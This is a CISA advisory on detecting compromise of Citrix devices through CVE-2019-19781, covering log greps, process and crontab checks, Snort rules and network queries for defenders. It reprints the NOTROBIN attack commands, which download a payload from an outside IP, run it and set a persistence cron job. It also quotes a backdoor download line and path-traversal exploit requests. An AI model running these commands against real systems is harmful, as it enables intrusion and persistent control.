CYBERSECURITY ADVISORY

Detecting Citrix CVE-2019-19781

Last Revised: May 21, 2020 **Alert Code:** AA20-031A

Summary

Unknown cyber network exploitation (CNE) actors have successfully compromised numerous organizations that employed vulnerable Citrix devices through a critical vulnerability known as CVE-2019-19781.[1] <https://www.citrix.com/blogs/2020/01/24/citrix-releases-final-fixes-for-cve-2019-19781/>

Though mitigations were released on the same day Citrix announced CVE-2019-19781, organizations that did not appropriately apply the mitigations were likely to be targeted once exploit code began circulating on the internet a few weeks later.

Compromised systems cannot be remediated by applying software patches that were released to fix the vulnerability. Once CNE actors establish a foothold on an affected device, their presence remains even though the original attack vector has been closed.

The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this Alert to provide tools and technologies to assist with detecting the presence of these CNE actors. Unpatched systems and systems compromised before the updates were applied remain susceptible to exploitation.

Contact CISA <https://www.us-cert.gov/report>, or the FBI <https://www.fbi.gov/contact-us/field-offices/field-offices> to report an intrusion or to request assistance.

Technical Details

Detection

CISA has developed the following procedures for detecting a CVE-2019-19781 compromise.

HTTP Access and Error Log Review

Context: Host Hunt

Type: Methodology

The impacted Citrix products utilize Apache for web server software, and as a result, HTTP access and error logs should be available on the system for review in `/var/log`. Log files `httpaccess.log` and `httperror.log` should both be reviewed for the following Uniform Resource Identifiers (URIs), found in the proof of concept exploit that was released.

- `'*/../vpns/*'`
- `'*/vpns/cfg/smb.conf'`
- `'*/vpns/portal/scripts/newbm.pl*'`

- `'*/vpns/portal/scripts/rmbm.pl*'`
- `'*/vpns/portal/scripts/picktheme.pl*'`

Note: These URIs were observed in Security Information and Event Management detection content provided by https://github.com/Neo23x0/sigma/blob/master/rules/web/web_citrix_cve_2019_19781_exploit.yml.[2]

Per TrustedSec, a sign of successful exploitation would be a `POST` request to a URI containing `/../` or `/vpn`, followed by a GET request to an XML file. If any exploitation activity exists—attempted or successful—analysts should be able to identify the attacking Internet Protocol address(es). Tyler Hudak's blog provided sample logs indicating what a successful attack would look like.[3] <https://www.trustedsec.com/blog/netscaler-remote-code-execution-forensics/>

```
10.1.1.1 - - [10/Jan/2020:13:23:51 +0000] "POST
/vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1" 200 143
"https://10.1.1.2/" "USERAGENT "
10.1.1.1 - - [10/Jan/2020:13:23:53 +0000] "GET
/vpn/../vpns/portal/backdoor.xml HTTP/1.1" 200 941 "-"
"USERAGENT"
```

Additionally, FireEye provided the following `grep` commands to assist with log review and help to identify suspicious activity.[4]

```
grep -iE 'POST.*\.pl HTTP/1\.1\" 200 ' /var/log/httpaccess.log
-A 1
grep -iE 'GET.*\.xml HTTP/1\.1\" 200' /var/log/httpaccess.log -
B 1
```

Running Processes Review

Context: Host Hunt

Type: Methodology

Reviewing the running processes on a system suspected of compromise for processes running under the `nobody` user can identify potential backdoors.

```
ps auxd | grep nobody
```

Analysts should review the `ps` output for suspicious entries such as this:

```
nobody    63390  0.0  0.0  8320    16  ??  I     1:35PM
0:00.00 | | `— sh -c uname &amp;amp; curl -o —
http://10.1.1.2/backdoor
```

Further pivoting can be completed using the Process ID from the PS output:

```
lsof -p <pid>
```

Due to the nature of this exploit, it is likely that any processes related to a backdoor would be running under the `httpd` process.

Checking for NOTROBIN Presence

Context: Host Hunt

Type: Methodology

```
pkill -9 netscalerd; rm /var/tmp/netscalerd; mkdir /tmp/.init;
curl -k
```

```
hxxps://95.179.163[.]186/wp-
content/uploads/2018/09/64d4c2d3ee56af4f4ca8171556d50faa -o
```

```
/tmp/.init/httpd; chmod 744 /tmp/.init/httpd; echo "* * * * *
```

```
/var/nstmp/.nscache/httpd" | crontab -; /tmp/.init/httpd &"
```

The above is the NOTROBIN Bash exploit code. To check for NOTROBIN Presence, analysts should look for the staging directory at `/tmp/.init` as well as `httpd` processes running as a cron job.

Running the command `find / -name ".init" 2> /tmp/error.log` should return the path to the created staging directory while taking all of the errors and creating a file located at `/tmp/error.log`.

Additional /var/log Review

Context: Host Hunt

Type: Methodology

Analysts should focus on reviewing the following logs in `/var/log` on the Citrix device, if available. The underlying operating system is based on FreeBSD, and the logs are similar to what would be found on a Linux system. Analysts should focus on log entries related to the `nobody` user or `(null) on` and should try to identify any suspicious commands that may have been run, such as `whoami` or `curl`. Please keep in mind that logs are rotated and compressed, and additional activity may be found in the archives (.gz files) for each log.

bash.log

Sample Log Entry:

```
Jan 10 13:35:47
```

```
<local7.notice> ns bash[63394]: nobody on /dev/pts/3
```

```
shell_command="hostname"
```

Note: The bash log can provide the user (`nobody`), command (`hostname`), and process id (`63394`) related to the nefarious activity.

sh.log

notice.log

Check Crontab for Persistence

Context: Host Hunt

Type: Methodology

As with running processes and log entries, any cron jobs created by the user `nobody` are a cause for concern and likely related to a persistence mechanism established by an attacker. Additionally, search for a `httpd` process within the crontab to determine if a system has been affected by NOTROBIN. Analysts can review entries on a live system using the following command:

```
crontab -l -u nobody
```

Existence of Unusual Files

Context: Host Hunt

Type: Methodology

Open-source outlets have reported that during incident response activities, attackers exploiting this vulnerability have been placing malicious files in the following directories. Analysts should review file listings for these directories and determine if any suspicious fil are present on the server.

- `/netscaler/portal/templates`
- `/var/tmp/netscaler/portal/templates`

Snort Alerts

Context: Network Alert

Type: Signatures

Although most activity related to exploitation of the Citrix vulnerability would use SSL, FireEye noted that an HTTP scanner is available to check for the vulnerability. The following Snort rules were provided in FireEye's blog post and would likely indicate a vulnerable Citrix server.[5] These rules should be tuned for the environment and restricted to the IP addresses of the Citrix server(s) to reduce potential false positives.

```
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Potential
CVE-2019-19781 vulnerable .CONF response";
flow:established,to_client; content:"HTTP/1."; depth:7;
content:"200 OK"; distance:1; content:"|0d0a|Server: Apache";
distance:0; content:"al]|0d0a|"; distance:0; content:"encrypt
passwords"; distance:0; content:"name resolve order";
reference:cve,2019-19781;
reference:url,https://www.fireeye.com/blog/products-and-
services/2020/01/rough-patch-promise-it-will-be-200-ok.html;
sid:201919781; rev:1;)

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Potential
CVE-2019-19781 vulnerable .PL response";
flow:established,to_client; content:"HTTP/1."; depth:7;

content:"200 OK"; distance:1; content:"|0d0a|Server: Apache";
distance:0;
content:"|0d0a|Connection: Keep-Alive";
content:"|0d0a0d0a3c48544d4c3e0a3c424f44593e0a3c534352495054206
c616e67756167653d6

a617661736372697074207479706 53d746578742f6a617661736372697074 3e
0a2f2f706172656e74

2e77696e646f772e6e735f72656c6f616428293b0a77696e646f772e636c6f7
36528293b0a3c2f534
```

```
3524950543e0a3c2f424f44593e0a3c2f48544d4c3e0a|";
reference:cve,2019-19781;
reference:url,https://www.fireeye.com/blog/products-and-
services/2020/01/rough-patch-promise-it-will-be-200-ok.html;
sid:201919781; rev:1;)
```

Suspicious Network Traffic

Context: Network Hunt

Type: Methodology

From a network perspective, this vulnerability will likely not be detectable, given that the traffic will likely be encrypted (SSL). Additionally, due to where they sit on networks, devices such as these are typically not covered in traditional network monitoring and ingress traffic to the device may not be part of a normal SPAN port configuration. In the event network monitoring is available and attackers are using HTTP versions of this exploit, CISA recommends looking for URIs containing `/../` or `/vpns/` to identify potentially malicious activity. It is also worth surveying the traffic for any requests to .xml files or perl (.pl) files as well, as this would not be consistent with normal Citrix web activity. As with the web logs, analysts would be looking for a successful `POST` request followed by a successf `GET` request with the aforementioned characteristics.

Given that a compromise occurred, activity to look for would be outbound traffic from the Citrix server, both to internal and external hosts. In theory, if an attacker placed a backdoor on the system, it should be connecting outbound to a command and control server. This traffic would most likely be anomalous (outbound TCP Port 80 or 443), given that one would only expect to see inbound TCP/443 traffic to the Citrix server as normal activity. If an attacker is leveraging a Citrix device as an entry point to an organization, anomalous internal traffic could potentially be visible in bro data such as scanning, file transfers, or lateral movement. An exception to internal traffic is that the Citrix ADC device is much more

than just an SSL VPN device and is used for multiple types of load balancing. As a result, an ADC device may be communicating with internal systems legitimately (web servers, file servers, custom applications, etc.).

Inbound Exploitation Activity (Suspicious URIs)

```
index=bro dest=<CITRIX_IP_ADDR> sourcetype=bro_http uri=*/../*
OR uri=*/vpn* OR uri=*.pl OR uri=*.xml
```

Outbound Traffic Search (Backdoor C2)

```
index=bro sourcetype=bro_conn src=<CITRIX_IP_ADDR> dest!=
<INTERNAL_NET>

| stats count by src dest dest_port

| sort -count
```

The following resources provide additional detection measures.

- Citrix and FireEye Mandiant released an IOC scanning tool for CVE-2019-19781.[6] <https://github.com/citrix/ioc-scanner-cve-2019-19781/> The tool aids customers with detecting potential IOCs based on known attacks and exploits.
- The National Security Agency released a Cybersecurity Advisory on CVE-2019-19781 with additional detection measures.[7] <https://media.defense.gov/2020/jan/10/2002233132/-1/-1/0/csa%20for%20citrixadcandcitrixgateway_20200109.pdf>
- CISA released a utility that enables users and administrators to detect whether their Citrix ADC and Citrix Gateway firmware is susceptible to CVE-2019-19781.[8] <https://github.com/cisagov/check-cve-2019-19781>

Impact

CVE-2019-19781 is an arbitrary code execution vulnerability that has been detected in exploits in the wild. An attacker can exploit this vulnerability to take control of an affected system.

The vulnerability affects the following appliances:

- Citrix NetScaler ADC and NetScaler Gateway version 10.5 – all supported builds before 10.5.70.12
- Citrix ADC and NetScaler Gateway version 11.1 – all supported builds before 11.1.63.15
- Citrix ADC and NetScaler Gateway version 12.0 – all supported builds before 12.0.63.13
- Citrix ADC and NetScaler Gateway version 12.1 – all supported builds before 12.1.55.18
- Citrix ADC and Citrix Gateway version 13.0 – all supported builds before 13.0.47.24
- Citrix SD-WAN WANOP appliance models 4000-WO, 4100-WO, 5000-WO, and 5100-WO – all supported software release builds before 10.2.6b and 11.0.3b. (Citrix SD-WAN WANOP is vulnerable because it packages Citrix ADC as a load balancer).

Mitigations

The resources provided include steps for standalone, HA pairs, and clustered Citrix instances.

- Use Citrix's tool to check for the vulnerability.
  - https://support.citrix.com/article/CTX269180 <https://support.citrix.com/article/ctx269180>
- Use an open-source utility to check for the vulnerability or previous device compromise.
  - https://github.com/cisagov/check-cve-2019-19781 <https://github.com/cisagov/check-cve-2019-19781>
  - https://github.com/x1sec/citrixmash_scanner <https://github.com/x1sec/citrixmash_scanner>
  - https://github.com/fireeye/ioc-scanner-CVE-2019-19781/releases/tag/v1.2 <https://github.com/fireeye/ioc-scanner-cve-2019-19781/releases/tag/v1.2>

- Follow instructions from Citrix to mitigate the vulnerability.
  - https://support.citrix.com/article/CTX267679 <https://support.citrix.com/article/ctx267679>
  - https://support.citrix.com/article/CTX267027 <https://support.citrix.com/article/ctx267027>
- Upgrade firmware to a patched version.
  - Subscribe to Citrix Alerts for firmware updates.
    - https://support.citrix.com/user/alerts <https://support.citrix.com/user/alerts>
  - Patch devices to the most current version.
    - https://www.citrix.com/downloads/citrix-gateway/ <https://www.citrix.com/downloads/citrix-gateway/>
    - https://www.citrix.com/downloads/citrix-adc/ <https://www.citrix.com/downloads/citrix-adc/>
    - https://www.citrix.com/downloads/citrix-sd-wan/ <https://www.citrix.com/downloads/citrix-sd-wan/>

Consider deploying a VPN capability using standardized protocols, preferably ones listed on the National Information Assurance Partnership (NIAP) Product Compliant List (PCL), in front of publicly accessible gateway appliances to require user authentication for the VPN before being able to reach these appliances.

CISA's Tip Handling Destructive Malware provides additional information, including best practices and incident response strategies.

Give Feedback

References

[1] Citrix blog: Citrix releases final fixes for CVE-2019-19781 <https://www.citrix.com/blogs/2020/01/24/citrix-releases-final-fixes-for-cve-2019-19781/>

[2] GitHub web_citrix_cve_2019_19781_exploit.yml

[3] TrustedSec blog: NetScaler Remote Code Execution Forensics <https://www.trustedsec.com/blog/netscaler-remote-code-execution-forensics/>

[4] FireEye blog: Rough Patch: I Promise It'll Be 200 OK (Citrix ADC CVE-2019-19781)

[5] FireEye blog: Rough Patch: I Promise It'll Be 200 OK (Citrix ADC CVE-2019-19781)

[6] IOC scanning tool for CVE-2019-19781 <https://github.com/citrix/ioc-scanner-cve-2019-19781/>

[7] NSA Cybersecurity Advisory: Mitigate CVE-2019-19781: Critical Vulnerability <https://media.defense.gov/2020/jan/10/2002233132/-1/-1/0/csa%20for%20citrixadcandcitrixgateway_20200109.pdf>

[8] CISA Vulnerability Test Tool <https://github.com/cisagov/check-cve-2019-19781>

Revisions

January 31, 2020: Initial Version|February 7, 2020: Added link to the Australian Cyber Security Centre script

Please share your thoughts

We recently updated our anonymous product survey; we welcome your feedback.

Return to top

Give Feedback

Topics </topics> **Spotlight** </spotlight> **Resources & Tools** </resources-tools>

News & Events </news-events> **Careers** </careers> **About** </about>

CYBERSECURITY & INFRASTRUCTURE SECURITY AGENCY

CISA Central

1-844-Say-CISA contact@cisa.dhs.gov

CISA.gov
An official website of the U.S. Department of Homeland Security

About CISA </about>

Budget and Performance <https://www.dhs.gov/performance-financial-reports>

DHS.gov <https://www.dhs.gov>

FOIA Requests <https://www.dhs.gov/foia>

No FEAR Act </no-fear-act>

Office of Inspector General <https://www.oig.dhs.gov/>

Privacy Policy </privacy-policy>

Subscribe

The White House <https://www.whitehouse.gov/>

USA.gov <https://www.usa.gov/>

Website Feedback </forms/feedback>

Give Feedback